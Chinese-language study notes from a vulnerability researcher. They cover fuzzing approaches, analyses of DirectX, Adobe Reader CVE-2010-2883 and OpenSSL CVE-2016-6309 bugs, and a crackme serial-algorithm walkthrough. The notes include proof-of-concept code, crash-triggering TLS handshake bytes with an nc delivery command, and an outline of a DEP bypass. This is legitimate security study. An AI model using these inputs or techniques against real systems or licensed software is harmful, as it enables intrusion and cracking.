尤其是后面的两个点,一直想找机会补充,等把unicorn学完(unicorn还差最后一个service案例),做这个,做的过程中可以结合泉哥的书中pdf漏洞利用的例子学习

20200421

从DirectX到Windows内核——几个CVE漏洞浅析

这个文章是很久之前star的,最近比较累,就翻出来看了一下,这个是湛沪实验室发现的,总共四个漏洞,都和DirectX有关,其所有的poc

CVE Function
CVE-2018-8405 D3DKMTCreateAllocation
CVE-2018-8401 D3DKMTSubmitCommand
CVE-2018-8400/8406 D3DKMTRender

四个洞,影响到了3个函数,仔细观察每个poc代码,都会发现代码都有很大的特色

        allocation.hDevice = deviceAry[0].hDevice;
	char runtimedata[0x200] = { 0 };
	memset(runtimedata, 0xee, 0x200);
	allocation.pPrivateRuntimeData = runtimedata;
	allocation.PrivateRuntimeDataSize = 0x200;
	allocation.hResource = NULL;
	allocation.NumAllocations = 1;
	D3DDDI_ALLOCATIONINFO2 allocationInfo = { 0 };
	allocationInfo.pSystemMem = runtimedata;
	allocationInfo.VidPnSourceId = 0;
	allocationInfo.Flags.OverridePriority = 1;
	allocationInfo.PrivateDriverDataSize = 0x60;
	char privateData[0x60] = { 0 };
	memset(privateData, 0xcc, 0x60);
	*(DWORD*)(privateData + 4) = 0x100;
	*(DWORD*)(privateData + 8) = 0x200;
	*(DWORD*)(privateData + 0xc) = 0x700;

参数特别多,各个参数有各种各样类型,感觉这种代码是通过某种方式格式化生成的。跟我以前看到checkpoint发现的内核漏洞代码有点像,我也特地fuzzcheckpointpoc代码,但是效果不好,运行了几天也没有出现任何crash

        /* generate data */
	long			ret = 0;
	std::seed_seq	seed(input_data.begin(), input_data.end());
	std::mt19937	rand_gen(seed);

	uint8_t         vert_num = ((rand_gen() % 0xff) + 1) & 0xff;
	PTRIVERTEX      vert = NULL;
	uint8_t         rect_num = ((rand_gen() % 0xff) + 1) & 0xff;
	PGRADIENT_RECT  rect = NULL;
	ULONG           ulMode;

	vert = (PTRIVERTEX)malloc(sizeof(TRIVERTEX) * vert_num);
	if (vert == NULL)
		FINISH(-1);
	memset(vert, 0, sizeof(TRIVERTEX) * vert_num);

	rect = (PGRADIENT_RECT)malloc(sizeof(GRADIENT_RECT) * rect_num);
	if (rect == NULL)
		FINISH(-2);
	memset(rect, 0, sizeof(GRADIENT_RECT) * rect_num);

	/* generate random vert array */
	for (uint8_t i = 0; i < vert_num; i++)
	{
		vert[i].x = rand_gen() & 0xffffffff;
		vert[i].y = rand_gen() & 0xffffffff;
		vert[i].Red = rand_gen() & 0xffff;
		vert[i].Green = rand_gen() & 0xffff;
		vert[i].Blue = rand_gen() & 0xffff;
		vert[i].Alpha = rand_gen() & 0xffff;
	}

	/* generate random rect array */
	for (uint8_t i = 0; i < rect_num; i++)
	{
		rect[i].UpperLeft = rand_gen() & 0xffffffff;
		rect[i].LowerRight = rand_gen() & 0xffffffff;
	}

	/* generate mode */
	/** ulMode
	 * GRADIENT_FILL_RECT_H
	 * GRADIENT_FILL_RECT_V
	 * GRADIENT_FILL_TRIANGLE
	**/
	switch (rand_gen() & 3)
	{
	case 0:
		ulMode = GRADIENT_FILL_RECT_H;
		break;
	case 1:
		ulMode = GRADIENT_FILL_RECT_V;
		break;
	case 2:
		ulMode = GRADIENT_FILL_TRIANGLE;
		break;
	}
	GradientFill(hdc1, vert, vert_num, rect, rect_num, ulMode);

我只是随意尝试了一下随机化各种参数,效果不好也很正常,就打算以后遇到了再说。今天在这看到了这种代码,感觉跟我使用的方式有点像,又有可能是使用domato那种语法生成的,或者别的什么测试方式,感觉这种代码很有意思,没准可以使用我的随机化的方法跑一下,可能会有效果,没试又怎么知道呢。
文章的最后提到了,可以添加多个线程修改及释放数据,来寻找是否存在竞争条件和TOC/TOU问题,这类的测试方法我是没有使用过的。下次如果碰到案例,可以学习一波

今天租的房子网不好,就看了一篇,不太行,得趁着这段时间累,可以多补补各种文章,多学习学习各种姿势

20200420

Grammar based fuzzing PDFs with Domato

Discord群里symon的文章,自从看完泉哥利用domato fuzz adobe reader的随笔之后,一直想找个时间研究一下究竟怎么使用domatofuzz adobejs api,苦于最近有几个exploit需要学习,没有抽出时间,趁着今晚特别累,把这篇文章看了几遍,这种grammar-based fuzz很有意思

简单的逻辑

domato ---> Debenu Quick PDF Library 脚本--->  BugId调用pdf解析器解析  ---> crash

简单叙述就是,利用domato产生能够生产正常pdfquick pdf library pdf脚本,执行脚本生产文件,之后利用bugid调用pdf解析器解析生成的pdf,逻辑不太难理解,难点在于domato生成脚本的语法相关操作。
比起基于代码覆盖的fuzz,这种方法有个致命的缺点,就是速度慢。但是也开辟了一条挖洞的有趣方式,值得学习学习

Fuzz in sixty seconds

这篇文章是symon文章中最后一步BugId的具体使用,为BugId作者所写。这种方法还是那句话,速度慢,但是如果利用在无法直接使用winafl fuzz.net程序不知道效果会怎么样,回头我试一下

最近不知道是不是换季的原因还是运动过度,特别累,上面的都是手机看的,实验也没完成,所以文章就多看点

20200419

idapython 检测危险函数

利用idapython检测危险函数,配合fuzz效果很好,利用自己写的脚本找到了几个洞,这里有个批量处理的部分很有用,重点记录一下

qemu逃逸CVE-2015-5165及CVE-2015-7504漏洞

漏洞形成原因在于ip包数据长度过滤不严,导致溢出,文章对整个漏洞形成的流程介绍的很详细,并且给出了完整的利用方法,其中的几个参考链接也很有用,有时间可以验证学习一下

20200418

sakuraのall fuzz:afl-unicorn

sakura大佬的文章,里面介绍了如何使用afl-unicorn fuzz linux程序,从基础教程开始使用afl-unicorn,其中还有几篇链接文章值得学习,以前只是在恶意代码分析中用到过afl-unicorn,目前没有思路用在浏览器fuzz,等大佬更新学习一波

Adobe Reader CVE-2010-2883分析

CVE-2010-2883分析

这个漏洞分析的很迷茫,很蛋疼。漏洞原因用了一天也就熟悉了,但是为了找到从stacat开始到触发shellcode,用了接近半个月的时间。想了各种各样的方法也没有解决到底是怎么触发的。

环境

根据exploitdb

windows xp sp3
Windows Debugger Version 6.11.0001.404 X86

分析

根据exploit-db问题的根源出在CoolType.dll在解析SING Table时造成溢出,
简单的来看一下CoolType.dllSING的解析伪码,理解一下原理

char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
{
  int v4; // edi
  bool v5; // zf
  int v6; // eax
  size_t v7; // eax
  int v8; // eax
  int v9; // eax
  int v10; // eax
  int v12; // eax
  int *v13; // ecx
  char v14; // [esp+10h] [ebp-58h]
  int v15; // [esp+30h] [ebp-38h]
  int v16; // [esp+38h] [ebp-30h]
  int v17; // [esp+3Ch] [ebp-2Ch]
  int v18; // [esp+40h] [ebp-28h]
  int v19; // [esp+44h] [ebp-24h]
  int v20; // [esp+48h] [ebp-20h]
  int v21; // [esp+4Ch] [ebp-1Ch]
  int v22; // [esp+50h] [ebp-18h]
  char v23; // [esp+57h] [ebp-11h]
  int v24; // [esp+64h] [ebp-4h]
  char v25; // [esp+68h] [ebp+0h]

  v4 = a1;
  v18 = a1;
  v16 = a4;
  sub_804172C();
  v5 = *(_DWORD *)(a1 + 8) == 3;
  v24 = 0;
  if ( !v5 )
  {
    v21 = 0;
    v22 = 0;
    v5 = *(_DWORD *)(a1 + 12) == 1;
    LOBYTE(v24) = 1;
    if ( v5 )
    {
      v23 = 0;
      sub_80217D7(&v21, a1, "name");
      if ( v21 )
        goto LABEL_52;
      sub_8021B06(&v19, a1, "SING"); // <--- 解析SING
      v6 = v19;
      LOBYTE(v24) = 2;
      if ( v19 )
      {
        if ( !(*(_DWORD *)v19 & 0xFFFF) || (*(_DWORD *)v19 & 0xFFFF) == 0x100 )
        {
          v25 = 0;
          strcat(&v25, (const char *)(v19 + 16)); // 问题函数
          sub_8001243(a2, (int)&v25);
          v6 = v19;
        }
        v23 = 1;
      }
    ...
  return 1;
}

v19的数据附加到v25末尾,很明显,如果v19没有做长度校验就很容易造成溢出。

pdf样本分析

具体SING字体相关的说明可以看一下adobe文档

现在来具体分析msf.pdf看看是如何造成溢出的,利用pdfstreamdumper提取出数据,010查看一下字体文件

1552988687765

在具体分析一下SING Table数据

1552988803334

根据github上的解析库afdko可以找到SING Table的具体定义

1552989003690

根据定义,可以发现uniqueName的偏移位置为16字节

typedef struct
{
    Card16 tableVersionMajor;           // +0 偏移
    Card16 tableVersionMinor;			// +2
    Card16 glyphletVersion;				// +4
    Card16 permissions;					// +6
    Card16 mainGID;						// +8
    Card16 unitsPerEm;					// +10
    Int16 vertAdvance;					// +12
    Int16 vertOrigin;					// +14
    Card8 uniqueName[SING_UNIQUENAMELEN]; // +16 
    Card8 METAMD5[SING_MD5LEN];
    Card8 nameLength;
    Card8 *baseGlyphName; /* name array */
} SINGTbl;

exploitdb说是uniqueName造成的溢出,我们在0803DD9F下断点,对照一下数据

.text:0803DD9F                 add     eax, 10h
.text:0803DDA2                 push    eax             ; char *
.text:0803DDA3                 lea     eax, [ebp+108h+var_108] // 即lea eax, [ebp]
.text:0803DDA6                 push    eax             ; char *
.text:0803DDA7                 mov     [ebp+108h+var_108], 0
.text:0803DDAB                 call    strcat

可以发现eax指向的就是SING Table

1552989254940

偏移16字节处正好是uniqueName,根据msdn

1552998441835

没有经过验证strcat会直接溢出[ebp],再来看一下ida反汇编代码

if ( !(*(_DWORD *)v19 & 0xFFFF) || (*(_DWORD *)v19 & 0xFFFF) == 0x100 )
{
    v25 = 0;
    strcat(&v25, (const char *)(v19 + 16));
    sub_8001243(a2, (int)&v25);
    v6 = v19;
}

对应的汇编代码

1553611248092

超过0x104肯定会出错,具体出错的位置,我始终无法跟踪到!其实这里从9.4.0的修复版本中也能看到

1553612940139

其中sub_813391E,长度肯定不会超过0x104



char *__cdecl sub_813391E(char *a1, char *a2, int a3)  // 修复中添加的函数
{
  size_t v3; // eax
  char *result; // eax

  v3 = strlen(a1);
  if ( a3 > v3 )
    result = strncat(&a1[v3], a2, a3 - v3 - 1);
  else
    result = a1;
  return result;
}

不过可以根据这个确定一下溢出长度

1553611571171

即使不知道具体的出错位置,+8的位置是将来跳转的位置,这个是可以确定的。

其实出错的原因,我能想到的无非就是两种

  1. SEH handler

    测试过SEH handler,在我有限的知识体系里,应该先调用ntdll!KiUserExceptionDispatcher在这里下断点,但是却没有断到

    1553611907374

  2. 虚函数指针

    这里在函数sub_8016BDE中的sub_801BB21看到了,调试了一下,但也不对

    int __cdecl sub_801BB21(int (__stdcall ***a1)(int, int, int, int, int, int), int a2, int a3, int a4, int a5, int a6, int a7)
    {
      int (__stdcall **v7)(int, int, int, int, int, int); // eax  <=====
      int result; // eax
    
      v7 = *a1;
      ++dword_823A6A0;
      result = (*v7)(a2, a3, a4, a5, a6, a7);
      if ( !(_BYTE)result )
        --dword_823A6A0;
      return result;
    }

    以上两种方法都尝试了,其中也尝试过用windbg previewTTD调试,但是遇到了这个问题,最终都没有确定具体的原因,很伤。

    再来说一下shellcode,首先需要利用icucnv36模块,因为其在各个版本中的地址是一样的,可以将+8的位置溢出到该模块,从而绕过DEP,但是有一点需要注意,icucnv36模块中没有常规的直接绕过DEP的函数,可以利用其中的

    CreateFileA -> CreateFileMapping -> MapViewOfFile -> memcpy

    这种方法其实在我日常分析恶意代码中比较常见。具体怎么利用就不细说了,网上都有。

    到这里,该漏洞就分析完了

参考

SING 结构定义

Brief Analysis On Adobe Reader SING Table Parsing Vulnerability (CVE-2010-2883)

泉哥的书

Crackme160-003

Crackme160-003

ollydbg版本: 吾爱破解改进版

这个crackme主要就是考察浮点数运算

测试数据name=33333, serial=666666

开始的操作和002基本相同,找到带有Wrong字符串的汇编代码调用部分,在该函数的开始部分设下断点,
Ctrl+F2,一直运行,直到第一次出现输入的name,可以认为这是算法的开始部分,一步一步分析
具体的分析加注释

第一部分

004081F2                   .  50            push eax                               ; /String = "?譕藬痉,??p???????铨?藿磀?巀?????譕??痿(??蕶秀倊???????�??诌嗿?痿,???瘵??篥.???嵀?????譕凬?僼痿(??蕶秀個??菿?????????�"
004081F3                   .  8B1A          mov ebx,dword ptr ds:[edx]             ; |
004081F5                   .  FF15 F8B04000 call dword ptr ds:[<&MSVBVM50.__vbaLen>; \__vbaLenBstr
004081FB                   .  8BF8          mov edi,eax                            ;  得到name.length
004081FD                   .  8B4D E8       mov ecx,dword ptr ss:[ebp-0x18]
00408200                   .  69FF 385B0100 imul edi,edi,0x15B38                   ;  edi=name.length*0x15B38
00408206                   .  51            push ecx                               ; /String = NULL
00408207                   .  0F80 B7050000 jo AfKayAs_.004087C4                   ; |
0040820D                   .  FF15 0CB14000 call dword ptr ds:[<&MSVBVM50.#rtcAnsi>; \rtcAnsiValueBstr
00408213                   .  0FBFD0        movsx edx,ax                           ;  anscii(name[0])
00408216                   .  03FA          add edi,edx                            ;  edi=name.length*0x15B38+anscii(name[0])
00408218                   .  0F80 A6050000 jo AfKayAs_.004087C4
0040821E                   .  57            push edi
0040821F                   .  FF15 F4B04000 call dword ptr ds:[<&MSVBVM50.__vbaStr>;  msvbvm50.__vbaStrI4
00408225                   .  8BD0          mov edx,eax                            ;  将edi转化为10进制赋值给edx

第二部分

004082EF                   .  D905 08104000 fld dword ptr ds:[0x401008]            ;  值为10
004082F5                   .  833D 00904000>cmp dword ptr ds:[0x409000],0x0
004082FC                   .  75 08         jnz short AfKayAs_.00408306
004082FE                   .  D835 0C104000 fdiv dword ptr ds:[0x40100C]           ;  除完之后st(0)=2
00408304                   .  EB 0B         jmp short AfKayAs_.00408311
00408306                   >  FF35 0C104000 push dword ptr ds:[0x40100C]
0040830C                   .  E8 578DFFFF   call <jmp.&MSVBVM50._adj_fdiv_m32>
00408311                   >  83EC 08       sub esp,0x8
00408314                   .  DFE0          fstsw ax
00408316                   .  A8 0D         test al,0xD
00408318                   .  0F85 A1040000 jnz AfKayAs_.004087BF
0040831E                   .  DEC1          faddp st(1),st                         ;  double(deci(serial))+2

第三部分

004083FB <AfKayAs_.这里*3>   .  DC0D 10104000 fmul qword ptr ds:[0x401010]           ;  (serial+10/5)*3
00408401                   .  83EC 08       sub esp,0x8
00408404                   .  DC25 18104000 fsub qword ptr ds:[0x401018]
0040840A                   .  DFE0          fstsw ax
0040840C                   .  A8 0D         test al,0xD
0040840E                   .  0F85 AB030000 jnz AfKayAs_.004087BF

第四部分

0040861A                   .  DC1D 28104000 fcomp qword ptr ds:[0x401028]
00408620                   .  DFE0          fstsw ax                               ;  重点关注指令
00408622                   .  F6C4 40       test ah,0x40
00408625                   .  74 07         je short AfKayAs_.0040862E
00408627                   .  BE 01000000   mov esi,0x1
0040862C                   .  EB 02         jmp short AfKayAs_.00408630
0040862E                   >  33F6          xor esi,esi
00408630                   >  8D55 E4       lea edx,dword ptr ss:[ebp-0x1C]
00408633                   .  8D45 E8       lea eax,dword ptr ss:[ebp-0x18]
00408636                   .  52            push edx                               ;  AfKayAs_.<ModuleEntryPoint>
00408637                   .  50            push eax                               ;  kernel32.BaseThreadInitThunk
00408638                   .  6A 02         push 0x2
0040863A                   .  FF15 80B14000 call dword ptr ds:[<&MSVBVM50.__vbaFre>;  msvbvm50.__vbaFreeStrList
00408640                   .  83C4 0C       add esp,0xC
00408643                   .  8D4D D8       lea ecx,dword ptr ss:[ebp-0x28]
00408646                   .  8D55 DC       lea edx,dword ptr ss:[ebp-0x24]
00408649                   .  51            push ecx
0040864A                   .  52            push edx                               ;  AfKayAs_.<ModuleEntryPoint>
0040864B                   .  6A 02         push 0x2
0040864D                   .  FF15 08B14000 call dword ptr ds:[<&MSVBVM50.__vbaFre>;  msvbvm50.__vbaFreeObjList
00408653                   .  F7DE          neg esi
00408655                   .  83C4 0C       add esp,0xC
00408658                   .  B9 04000280   mov ecx,0x80020004
0040865D                   .  B8 0A000000   mov eax,0xA
00408662                   .  894D 9C       mov dword ptr ss:[ebp-0x64],ecx
00408665                   .  66:85F6       test si,si
00408668                   .  8945 94       mov dword ptr ss:[ebp-0x6C],eax        ;  kernel32.BaseThreadInitThunk
0040866B                   .  894D AC       mov dword ptr ss:[ebp-0x54],ecx
0040866E                   .  8945 A4       mov dword ptr ss:[ebp-0x5C],eax        ;  kernel32.BaseThreadInitThunk
00408671                   .  894D BC       mov dword ptr ss:[ebp-0x44],ecx
00408674                   .  8945 B4       mov dword ptr ss:[ebp-0x4C],eax        ;  kernel32.BaseThreadInitThunk
00408677                   .  74 62         je short AfKayAs_.004086DB

注册机算法

serial = (deci(name.length*0x15B38 + anscii(name[0])) + 2) * 3 + 15

其中我们可以看出,前三部分相对来说都是比较容易理解的,关键部分就是在第四部分
第四部分最关键的部分

fcomp qword ptr ds:[0x401028]
fstsw ax                             
test ah,0x40
je short 0040862E

此时st(0)=compute_serial/input_serial,地址里面存的是1.0,也就是st(0)和1.0的比较,然后将status word放入ax中,可以从数据面板中看出来ax=0x0120=> ah=0x01h

ah: 0000 0001
40: 0100 0000

从下面的扩展知识我们可看到,test命令是为了探测C3位是否为1,即两值是否相等
相等,那么C3位为1,test结果ZF=0,不跳转 => 破解成功
不相等,那么C3位为0,test结果ZF=1,跳转 => 破解失败

扩展

浮点数运算

浮点数运算由专门的FPU(浮点运算器)完成,它由8个80位的寄存器和3个16位的状态寄存器组成,
其中8个80位的寄存器分别为st(0)-st(7)

8个80位寄存器组成了一个栈,每次出栈/进栈都是通过这个TOP值指定的,TOP值始终指向栈顶元素
举个例子:
现在要将value0value1value2压入这8个栈中,

  1. TOP指向st(0),将value0送入st(0)
  2. value1进入这个栈中,将value0送入st(1)中,并将value1送入st(0)
  3. value2进入这个栈中,将value1送入st(2)中,并将value1送入st(1)中,将value2送入st(0)

3个16位的寄存器分别为control word, status wordtag word(这里为了方便理解,不直接翻译)

control word状态字

img

各个状态位的标志含义

  1. 无限状态标志位IC(Infinity Control)
0 = Both -infinity and +infinity are treated as unsigned infinity (initialized state) 
1 = Respects both -infinity and +infinity
  1. 四舍五入控制位RC(Rounding Control)
00 = Round to nearest, or to even if equidistant (this is the initialized state) 
01 = Round down (toward -infinity) 
10 = Round up (toward +infinity) 
11 = Truncate (toward 0)
  1. 精确度控制位PC(Precision Control)
00 = 24 bits (REAL4) 
01 = Not used 
10 = 53 bits (REAL8) 
11 = 64 bits (REAL10) (this is the initialized state)
  1. 中断控制位(7, 5-0)
    IEM(Interrupt Enable Mask )决定是否中断可用,设置为0表示中断可用,为1表示中断不可用.
PM (bit 5) or Precision Mask 
UM (bit 4) or Underflow Mask 
OM (bit 3) or Overflow Mask 
ZM (bit 2) or Zero divide Mask 
DM (bit 1) or Denormalized operand Mask 
IM (bit 0) or Invalid operation Mask

status word

img

这里只重点关注C3,C2,C0

Opcode Mnemonic Description
D8 /2 FCOM m32fp Compare ST(0) with m32fp.
DC /2 FCOM m64fp Compare ST(0) with m64fp.
D8 D0+i FCOM ST(i) Compare ST(0) with ST(i).
D8 D1 FCOM Compare ST(0) with ST(1).
D8 /3 FCOMP m32fp Compare ST(0) with m32fp and pop register stack.
DC /3 FCOMP m64fp Compare ST(0) with m64fp and pop register stack.
D8 D8+i FCOMP ST(i) Compare ST(0) with ST(i) and pop register stack.
D8 D9 FCOMP Compare ST(0) with ST(1) and pop register stack.
DE D9 FCOMPP Compare ST(0) with ST(1) and pop register stack twice.

比较操作会影响C3, C2, C0

Condition C3 C2 C0
ST(0) > Source 0 0 0
ST(0) < Source 0 0 1
ST(0) = Source 1 0 0
Unordered* 1 1 1

NOTE: * Flags not set if unmasked invalid-arithmetic-operand (#IA) exception is generated.

tag word状态字

暂时未用到

浮点数运算重点操作指令

指令 说明
fstsw ax 将status word送入ax中
fdiv m32fp Divide ST(0) by m32fp and store result in ST(0)
fcomp m32fp Compare ST(0) with m32fp and pop register stack.
fmul m32fp Multiply ST(0) by m32fp and store result in ST(0)

VB逆向分析重点关注函数

  1. 数据类型转换
a) __vbaI2Str 将一个字符串转为8 位(1个字节)的数值形式(范围在 0 至 255 之间) 或2 个字节的数值形式(范围在 -32,768 到 32,767 之间)。
b)__vbaI4Str 将一个字符串转为长整型(4个字节)的数值形式(范围从-2,147,483,6482,147,483,647) 
c)__vbar4Str 将一个字符串转为单精度单精度浮点型(4个字节)的数值形式
d)__vbar8Str 将一个字符串转为双精度单精度浮点型(8个字节)的数值形式
e) VarCyFromStr (仅VB6库. 要调试,则在WINICE.DAT里必须有 OLEAUT32.DLL)字符串到变比型数据类型 
f) VarBstrFromI2 (仅VB6库. 要调试,则在WINICE.DAT里必须有 OLEAUT32.DLL)整型数据到字符串:
  1. 数据移动
a) __vbaStrCopy 将一个字符串拷贝到内存,类似于 Windows API HMEMCPY 
b) __vbaVarCopy 将一个变量值串拷贝到内存 
c) __vbaVarMove 变量在内存中移动,或将一个变量值串拷贝到内存
  1. 数学运算
a) __vbavaradd 两个变量值相加 
b) __vbavarsub 第一个变量减去第二个变量
c) __vbavarmul 两个变量值相乘
d) __vbavaridiv 第一个变量除以第二个变量,得到一个整数商 
e) __vbavarxor 两个变量值做异或运算
  1. 程序设计杂项
a) __vbavarfornext 这是VB程序里的循环结构, For... Next... (Loop) 
b) __vbafreestr 释放出字符串所占的内存,也就是把内存某个位置的字符串给抹掉
c) __vbafreeobj 释放出VB一个对象(一个窗口,一个对话框)所占的内存,也就是把内存某个位置的一个窗口,一个对话框抹掉
d) __vbastrvarval 从字符串特点位置上获取其值 
e) multibytetowidechar 将数据转换为宽字符格式,VB在处理数据之都要这样做,在TRW2000显示为7.8.7.8.7.8.7.8
f) rtcMsgBox 调用一个消息框,类似于WINDOWS里的messagebox/a/exa,此之前一定有个PUSH命令将要在消息框中显示的数据压入椎栈 
g) __vbavarcat 将两个变量值相连,如果是两个字符串,就连在一起 
h) __vbafreevar 释放出变量所占的内存,也就是把内存某个位置的变量给抹掉
i) __vbaobjset 
j) __vbaLenBstr 获得一个字符串的长度,注:VB中一个汉字的长度也为1
k) rtcInputBox 显示一个VB标准的输入窗口,类似window's API getwindowtext/a, GetDlgItemtext/a 
l) __vbaNew 调用显示一个对话框,类似 Windows' API Dialogbox 
m) __vbaNew2 调用显示一个对话框,类似 Windows' API Dialogboxparam/a 
n) rtcTrimBstr 将字串左右两边的空格去掉
  1. 比较函数
a) __vbastrcomp 比较两个字符串,类似于 Window's API lstrcmp 
b) __vbastrcmp 比较两个字符串,类似于 Window's API lstrcmp 
c) __vbavartsteq 比较两个变量值是否相等
d)__vbaFpCmpCy - Compares Floating point to currency. sp; Compares Floating point to currency
  1. 在动态跟踪,分析算法时,尤其要注意的函数
rtcMidCharVar 从字符串中取相应字符,VB中的MID函数,用法MID("字符串","开始的位置","取几个字符")
rtcLeftCharVar 从字符串左边取相应字符,VB中的用法:left("字符串","从左边开始取几个字符")
rtcRightCharVar 从字符串右边取相应字符,VB中的用法:Right("字符串","从右边开始取几个字符")
__vbaStrCat 用字符串的操作,就是将两个字符串合起来,在VB中只有一个&或+
__vbaStrCmp 字符串比较,在VB中只有一个=或<>
ASC()函数 取一个字符的ASC值,在反汇编时,还是有的movsx 操作数
  1. 在函数中的缩写
bool 布尔型数据(TRUE 或 FALSE) 
str 字符串型数据 STRING
i2 字节型数据或双字节整型数据 BYTE or Integer
ui2 无符号双字节整型数据 
i4 长整型数据(4字节) Long
r4 单精度浮点型数据(4字节) Single 
r8 双精度浮点型数据(8字节) Double
cy  (8 个字节)整型的数值形式 Currency
var 变量 Variant
fp  浮点数据类型 Float Point
cmp 比较 compare
comp 比较 compare

Btw:

__vbavartsteq系列的还有__vbavartstne 不等于 __vbavartstGe,__vbavartstGt,__vbavartstLe,__vbavartstLt等,比较大于或小于

Reference

FPU

FCOMP

VB程序逆向常用的函数

openssl 1.1.0a UAF(CVE-2016-6309)分析

openssl 1.1.0a UAF(CVE-2016-6309)分析

在研究honggfuzz的过程中,发现有人用它找到了openssl的一个洞(CVE-2016-6309),这是一个UAF的洞,为了了解如何fuzzing的,如果要是我写fuzzer,该怎么写,为了这个目的,所以就分析了一下。

环境

环境准备

# kaili2
apt install gcc gdb python3.7-dev git make electric-fence -y

# pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

编译openssl

wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0a.tar.gz
tar -xvf OpenSSL_1_1_0a.tar.gz
cd openssl-OpenSSL_1_1_0a
./config --debug
make

将编译的库存放

cp ./libssl.so.1.1 /usr/local/lib
cp ./libcrypto.so.1.1 /usr/local/lib

生成证书

 ./apps/openssl req -newkey rsa:2048 -nodes -keyout rsa_private.key -x509 -days 365 -out cert.crt

补丁情况

首先为了了解这个洞的大概情况,来看一下openssl做的修补

1548773864089

其实最主要的地方是在BUF_MEM_grow_clean之后的这句

 s->init_msg = s->init_buf->data + msg_offset;

来看看BUF_MEM_grow_clean函数干了什么,需要更新 s->init_msg的值

size_t BUF_MEM_grow_clean(BUF_MEM *str, size_t len)
{
    char *ret;
    size_t n;

    if (str->length >= len) {   
        if (str->data != NULL)
            memset(&str->data[len], 0, str->length - len);
        str->length = len;
        return (len);
    }
    if (str->max >= len) {     
        memset(&str->data[str->length], 0, len - str->length);
        str->length = len;
        return (len);
    }
    /* This limit is sufficient to ensure (len+3)/3*4 < 2**31 */
    if (len > LIMIT_BEFORE_EXPANSION) {
        BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
        return 0;
    }
    n = (len + 3) / 3 * 4;
    if ((str->flags & BUF_MEM_FLAG_SECURE))
        ret = sec_alloc_realloc(str, n);
    else
        ret = OPENSSL_clear_realloc(str->data, str->max, n);  // 出错
    if (ret == NULL) {
        BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
        len = 0;
    } else {
        str->data = ret;
        str->max = n;
        memset(&str->data[str->length], 0, len - str->length);
        str->length = len;
    }
    return (len);
}

可以看到使用len分别和str->length/str->max做了比较,如果都不满足,会realloc对应的str->data的数据,无论哪个realloc都会执行相似的操作

 ret = OPENSSL_secure_malloc(len);
 if (str->data != NULL) {
 	if (ret != NULL)
 		memcpy(ret, str->data, str->length);
 	OPENSSL_secure_free(str->data);
 }

那么将来再用到str->data的数据时,就会造成UAF,现在知道了大概的原因,实际利用gdb进行验证

POC准备

随意点击几个https的网站,之后利用利用wireshark监控

tcp.port==443 && ssl.record.version

具体如下,注意具体长度对应的位置,以后做漏洞poc会用到

1548773337943

ctrl+shift+x将字节流数据导出,正常数据是这样的

1548773439669

首先利用正常的数据进行测试

监听端口

./apps/openssl s_server -key rsa_private.key -cert cert.crt -accept 443 –www

验证poc

nc localhost 443 < poc.raw

正常的poc.raw

16 03 01 02 00 01 00 01 FC 03 03 36 E4 09 F9 D9
3B 75 FF 3E 34 EC C7 2B 9C 3F 2E 78 B5 58 04 FE
13 DC 98 04 2A C2 95 DA FB 1E 77 20 F7 F6 AC ED
64 60 E8 CC 28 D3 BF B3 74 CA 21 40 B1 58 DB 66
5B A8 04 FC 25 42 C3 5D 7C 10 FD 16 00 22 AA AA
13 01 13 02 13 03 C0 2B C0 2F C0 2C C0 30 CC A9
CC A8 C0 13 C0 14 00 9C 00 9D 00 2F 00 35 00 0A
01 00 01 91 AA AA 00 00 00 00 00 16 00 14 00 00
11 66 6F 6E 74 73 2E 67 73 74 61 74 69 63 2E 63
6F 6D 00 17 00 00 FF 01 00 01 00 00 0A 00 0A 00
08 7A 7A 00 1D 00 17 00 18 00 0B 00 02 01 00 00
23 00 00 00 10 00 0E 00 0C 02 68 32 08 68 74 74
70 2F 31 2E 31 00 05 00 05 01 00 00 00 00 00 0D
00 14 00 12 04 03 08 04 04 01 05 03 08 05 05 01
08 06 06 01 02 01 00 12 00 00 00 33 00 2B 00 29
7A 7A 00 01 00 00 1D 00 20 78 25 48 03 BE DA 1B
55 F8 2E 97 3B 62 4C E5 7C 89 59 D2 13 0A AC 69
02 51 B3 7B 79 48 4B FC 1A 00 2D 00 02 01 01 00
2B 00 0B 0A CA CA 03 04 03 03 03 02 03 01 00 1B
00 03 02 00 02 2A 2A 00 01 00 00 15 00 C7 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00

漏洞分析

动态调试

gdb ./app/openssl
pwndbg> run s_server -key rsa_private.key -cert cert.crt -accept 443

statem.c:546设下断点,成功断下

1548819678680

来查看一下s相关的值

pwndbg> p/x s->init_buf->length 
$11 = 0x4000
pwndbg> p/x s->init_buf->max
$12 = 0x5558
pwndbg> p/x s->s3->tmp.message_size
$13 = 0x1fc
pwndbg> p s->s3->tmp.message_size
$14 = 508

经过多次调试,发现在这里s->init_buf->maxs->init_buf->length 都是固定的,而s->s3->tmp.message_size是我们可控的

根据前面对BUF_MEM_grow_clean的分析,我们只要保证s->s3->tmp.message_size大于最大值,即s->init_buf->max < s->s3->tmp.message_size 就会成功进行realloc,而在我们的测试中,s->init_buf->max==0x5558,所以作如下更改设置为0x5560

1548833519008

执行并查看

1548833726063

跟进BUF_MEM_grow_clean

1548833811010

可以发现成功执行到达realloc,为了观察将来是否利用了str->data以前的数据,释放前看一下str->data的情况

1548841319727

继续执行,崩溃

1548841480576

可以发现这里的内存是str->data中释放的,成功导致了UAF

